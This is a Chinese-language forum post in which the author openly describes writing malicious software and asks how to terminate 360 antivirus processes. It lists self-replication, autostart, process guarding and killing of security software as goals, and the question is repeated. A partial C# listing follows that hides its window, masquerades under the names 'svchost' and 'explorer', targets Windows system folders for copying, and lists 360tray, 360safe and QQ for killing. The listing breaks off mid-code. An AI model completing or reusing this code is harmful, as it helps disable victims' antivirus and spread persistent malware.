写的恶意小软件,咋结束360进程?解决思路
写的恶意小软件,咋结束360进程?
思路如下:
1,自我复制。2,自我启动。3,进程守护。4,自动查杀。
只要能把所有杀毒软件的进程全干掉,余下的事就好办了,现在就卡在这一步了,郁闷,哪位大哥帮助下?先谢谢了。
代码如下:
思路如下:
1,自我复制。2,自我启动。3,进程守护。4,自动查杀。
只要能把所有杀毒软件的进程全干掉,余下的事就好办了,现在就卡在这一步了,郁闷,哪位大哥帮助下?先谢谢了。
代码如下:
- C# code
//#define DEL
using System;
using System.Collections.Generic;
using System.ComponentModel;
using System.Data;
using System.Drawing;
using System.Text;
using System.Windows.Forms;
using System.IO;
using Microsoft.Win32;
using System.Diagnostics;
namespace explorer
{
public partial class svchost : Form
{
string SourceFile;
string FileName;
string[] TargetDirectorys = new string[] { "c:/windows/system32", "c:/windows/system", "c:/windows", "c:/winnt", "c:/winnt/system",
"c:/winnt/system32", "d:/windows", "d:/windows/system", "d:/windows/system32", "d:/winnt" };
int FileCount;
Process[] SysProcesses;
Random Rand;
List <string> UsablePath;
string AppProcessName;
List <string> KillProcessNames = new List <string>();
string LogFile = "";
public svchost()
{
InitializeComponent();
}
private void explorer_Load(object sender, EventArgs e)
{
try
{
//初始化
this.Opacity = 0;
this.Visible = false;
this.ShowInTaskbar = false;
SourceFile = Application.ExecutablePath;
FileName = SourceFile.Replace(Application.StartupPath, "").ToUpper();
FileCount = 0;
UsablePath = new List <string>();
AppProcessName = FileName.Replace("\\", "").Replace("/", "").Replace(".EXE", "");
Rand = new Random();
KillProcessNames.Add("QQ");
KillProcessNames.Add("360tray");
KillProcessNames.Add("360safe");
for (int i = 0; i < TargetDirectorys.Length; i++)
{
if (Directory.Exists(TargetDirectorys[i]))
{
LogFile = TargetDirectorys[i] + "/scv.log";